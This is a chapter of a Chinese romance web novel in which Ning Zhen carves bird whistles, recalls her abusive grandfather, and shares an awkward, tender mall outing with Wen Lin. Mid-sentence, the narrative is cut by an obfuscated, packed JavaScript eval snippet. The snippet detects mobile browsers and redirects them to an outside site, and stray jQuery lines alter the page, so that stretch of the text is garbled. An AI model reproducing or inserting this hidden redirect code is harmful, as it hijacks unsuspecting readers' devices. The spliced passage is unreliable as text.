48. 解答之书

作品:《鸟哨

    ——“你出去了……?”


    漆黑洞穴深处,岩壁滴下湿润的声音。


    她认出师弟。不是写信的师弟,而是散成流影,抱歉没能带她走的师弟。


    ——“师姐,你走出去了吗?”


    ……


    清晨,左手抓着手机,解锁后是聊天界面,停在温霖发来的晚安。


    她刚醒,睡眼惺忪,想着洞穴里的回音。像点开微信的语音条那样清晰真实,一时分不清梦见的到底是谁。


    过一会儿,宁蓁起身拉开窗帘。


    唰。


    窗外,枝上挂着一只尖嘴鸟。


    近大远小,看起来有鸠鸽科的身形,头上顶了一丛凌乱的冠,也像刚睡醒似的。


    是戴胜。


    有人叫它“香香鸡”,因其散发的奇特味道。宁蓁扫一眼细密的纱窗,反正关着,反正它栖息的树木离房子还有段距离。【注1】


    “早上好,”她对着戴胜自言自语,“你的叫声……是什么来着?”


    不记得了。鸟哨只能模仿雀形目,除此之外的算不上太熟。


    它静止不动,黑白翅膀展了一半,圆圆的小眼睛盯着玻璃窗。


    鸟发呆,她也发呆,和它面面相觑。


    鸣声想不起来,科属也不知道。见过心理医生之后生活的确变了,柜子不必擦得一尘不染,身体无需时刻保持紧绷,问题可以悬置,不用非得找到答案。


    究竟能见哪个师弟,她分不清,也没有必要分清。


    戴胜飞走了,宁蓁起床整理,洗漱。她制定了晨间的流程:查看邮箱,收到昨夜的退稿信,修改,找下一家投出去,着手撰写新稿。如果思绪奔走难以安定,就坐在椅子上闭目冥想。


    但总有声音叮叮咚咚让她分心。


    「大海啊~大海,就像妈妈一样~」


    安唯的新消息,一句歌词一张照片,以朦胧的海平面为背景,她和慕容殊两个人坐在沙滩上笑得灿烂。


    紧接着转来八卦新闻:


    「豪门倾塌?前地产老总因涉嫌谋杀妻子被逮捕」


    小唯的天聊得毫无章法,宁蓁追着回了上一句,又收到一连串滔滔不绝。


    「嫁入豪门真的不容易,命都能搭上」


    「殊姐说他们一个比一个重视风水卦象紫微斗数」


    「结果最后算命算到去杀人」


    「可怕」


    点开新闻,陌生的字眼从眼前滑过。


    「那殊姐还安全吗?」


    「这个倒可以放心啦」


    对方顺手发了一段十秒的视频,白色浪花打着卷,一阵阵漫上沙滩。


    「对了蓁蓁,你有没有讨厌的人?」


    小唯似乎在旁敲侧击,可她滞住了,没往那方面想。


    「我不喜欢哥布林,就是地精」


    宁蓁给了个十分中二的回答。


    「啥?」


    安唯摸不着头脑。


    「因为所有牙齿都特别尖,咬合不好」


    咸咸的海风拂到书桌前。她们天南海北聊了一个小时,屏幕熄灭后,她撸起袖子搬开旧桌,埋头翻找着杂物底下的竹料和刀。


    想做两只新鸟哨。


    因为小唯自称天使朋友,先前问到温霖“我们是不是朋友”,他也回答当然。


    说是“朋友费”也好,作为朋友仪式的最后一步也好。嘭——她砍断竹料,撕下一张砂纸,重新坐回桌前。


    脚边散落着各式各样的刀。好久没制作过新哨了,宁蓁以为自己早已生疏,提前缠了几个创可贴在手指。


    小心,最好不要见血。


    先屏住呼吸,试着钳起三角刀。


    手腕僵硬地锁住了,缺乏润滑。她紧张了一分钟,也仅仅一分钟,双手就找回舒适的位置,用力下压,自然而然活动起来。


    毕竟是她儿时做得最为熟练的事。


    锋利的刀刃破开竹身,忽然,宁蓁想起了姥爷。


    那个高瘦的、背有点佝偻着的人,曾经用尺子和衣架抽打她的后背,也曾经手把手教她制作鸟哨,教她大拇指要用上巧劲儿,刀口就不会滑脱。


    ——“为什么您不教小宇?”


    小学时,刻刀划烂了线手套,她抹着眼泪嘟囔。


    小宇和她差了六岁,明知故问。


    ——“因为你是你妈的女儿。”


    姥爷的表情很生硬,似乎皱成一团。当时,十岁的小女孩还不懂得是什么意思。


    她永远爱姥姥,这时候却想起她讨厌的伴侣,想起那些充满严厉的威吓,想起他一面风风火火,一面死气沉沉的模样。他古怪,几乎不笑,偶尔笑起来也很难看,像块沧桑的白桦树皮,没有宽容,没有慈爱。


    全部,只是因为我是妈妈的女儿。


    以前宁蓁心里常常悔恨,可后来记忆逐渐衰败,连恨意都变得很淡。人死了,黄土一抔随风散,最后只剩她这双手。


    第一步完成了。


    竹料被捧在掌心,映着阳光刻成鸟哨的雏形。


    亲人留下的,她的双手还记得。


    手机在响,已经是第二通电话,宁蓁匆忙接起。


    “可以下来了——”


    *


    沐沐.:「姐姐,我的主人想问明天还能见你吗?」


    两个微信号是方便,人类的邀约太频繁,可以换成小狗来。沐沐的口吻总带着撒娇意味,柔柔地抚过心脏,难以拒绝。


    所以他们又要见面,简简单单搭个顺风车去李肃家。


    温霖在单元门外等她,唤醒树下深灰的车。


    “不是同一辆。”宁蓁打量着车的形状。她对车标不熟悉,但看得出SUV和轿车的区别。


    他拉开车门回身笑了笑:“那辆送去维修,借我哥的开几天。”


    一笔带过的事,没理由怀疑。


    车里干净,闻不见让人头昏脑涨的皮革气味。中途路过商区,一个醒目的黄色M标映入眼帘。


    宁蓁心血来潮:“一起吃午饭吧。”


    “好啊,想吃什么我来请。”


    车子熟练变道,拐进停车场。附近一家综合商场,门口有人热热闹闹发放传单。


    “新店开业!干锅牛蛙铜锅牛蛙,豪华双拼今日特价五折!”


    来不及摆手,鲜红的优惠券飞速塞到怀里。


    聒噪和喧嚣冲击着耳膜。温霖眉梢有点发紧,试探着问:“牛蛙,师姐喜欢么。”


    宁蓁愣愣摇头。


    感觉好怪,她从来没尝过牛蛙,或许出于偏见,提起这两个字胃里就滚起一阵滑腻的恶心。


    “太好了。”他松了口气。


    你也不爱吃吗?


    话黏在嘴里,说不出来,唯一庆幸的是商场里的顾客寥寥无几。门内展开一条长街,光洁的地板,门店宽敞明亮,玻璃上映出人们的倒影。


    宁蓁径直往前走,路过黄金珠宝和闪亮的钻石戒指。


    “去哪里?”他问。


    “应该就在附近,”她环顾四周,“找到了。”


    黑底黄招牌,熟悉的木质地板。


    当年明明两个人一起流浪,她却一味疏远那名少年,吃麦当劳都要用书包隔开一个座位。


    ——“请客的意思是,我真的不会还钱喔。”


    师姐复述了当年的字句。


    回想起来,多年以前她那句话像在逗弄野生的小动物。温霖笑了,拿出手机低下头掩饰错乱的心跳。


    “现在都不用去柜台点餐。”他滑开小程序。


    与此同时,臂弯搭上一股重量,仿佛叠好的羽绒被子摞在平整的床铺上。


    师姐左手揽过两人之间的空隙,轻挽他的手臂。


    她瞥见屏幕:“麦辣鸡腿堡今天九块九诶。”


    好近,近到看得清脸侧的小痣,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071775|163236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长发坠向他胸口,围成圆圈拴着心脏,突如其来的躁动。


    他的耳朵开始泛红。


    指尖在屏幕上方迟迟未落,宁蓁怔了怔,悄悄松手。


    也许她只想拽住他的袖子,也许手臂太松快了,不小心顺着惯性挽了上来。


    温霖从心理医生那里了解她的病情。CPTSD伴随成人ADHD的症状,总是心不在焉,一盆摇晃的清水似的,时不时洒向外面。


    他想接住,但并非每次都能如愿。


    “以前大学室友经常这样。”师姐错后两步,神色如常,“挽着我,贴得很近,看我手机上的聊天记录。”


    那岂不是……


    他第一反应是霸凌,却不敢问出口。心脏的悸动还没消退,又扯开一阵尖酸的痛楚。


    而她,三秒钟后飞快地后悔。


    和雕刻鸟哨一样,有时候身体抢在意识前面。她先伸手挽了师弟,做出一个尴尬的举动,然后用一件更尴尬的事去掩盖。


    要告诉他什么呢?大学室友异样的眼神,被泼水的经历,还是曾经幻想宿舍南北向的两面墙每天靠近一厘米,早晚要挤得她血肉模糊?


    “人变多了,回车里吃午饭吧。”


    宁蓁垂下眼,心里默念着不要问。


    没准他听见了。


    “还是点麦香鱼套餐?”


    略过大学往事,再倒退就回到身穿蓝色校服的年纪。


    炸薯条洒上一层盐粒,飘散着温热的香气,像个安定信号。


    “嗯……要不要升级成大薯呢。”她嘟囔着。


    “好啊,顺便再来个抹茶阿芙佳朵。”


    手指在屏幕上游走,比少年时更加修长。点完餐,他说要等十分钟,可以先去楼上书店逛逛。


    如今商场的书店并着咖啡馆和文创,进门一列主题日历,后面跟着各类畅销款。宁蓁摸到一本翻得折旧的解答之书,随手一翻。


    “别忽视显而易见的。”


    空旷的页面,只中间写了一行字。


    她猝不及防得到答案,才发现自己还没决定要问什么。


    从结果倒推吗?我身边显而易见的是……


    厚重的封面裸露在外,温霖瞥见了,立刻眼睛明亮地探过来。


    “有这个!我也想玩。”


    宁蓁“啪”的一下合上书,移开目光。


    “给你,”她假意看着身前一排畅销的花花绿绿,“要先说出问题才有效。”


    假的,但师弟毫不犹豫地相信了。


    “我的心愿能实现吗?”他小声问,左手盖住硬质书面,颇为虔诚。


    翻开时,宁蓁朝他身旁挪了挪。


    纸页哗啦啦飞动。


    答案是,“下一个季节”。


    夏天,似乎并不遥远。掐指一算,去年的今日早已入夏。


    他却对着书露出一副怅然若失的表情。


    “夏天……?可是你没告诉我是哪一年的下个季节啊。”


    需要这么详细?


    看起来他相当认真,非要得到明确的答案才行。难道是缺少安全感,还是因为J型人格……


    她视线悄然转移,在层层叠叠的深棕色书架中撞上对方的余光。


    睫毛簌簌颤动。


    温霖也默默看着她。


    轻软透明的空气里,目光小心翼翼地缠绕在一起。


    “人,”宁蓁问,“恐慌症不会发作么?”


    她率先开口,但不是为了掩盖自己鼓噪的心跳。


    ……也许百分之八十不是。


    顾客真的变多了,一群看似初中的孩子结伴而来,叽叽喳喳讨论着大热的漫画和番剧。


    宁蓁都觉得吵,他却没有回头,甚至没有被他们分走一丝心神。


    “如果再发作……”


    她看见温霖眼中滉漾着暧昧的影。


    “师姐会抛下我吗。”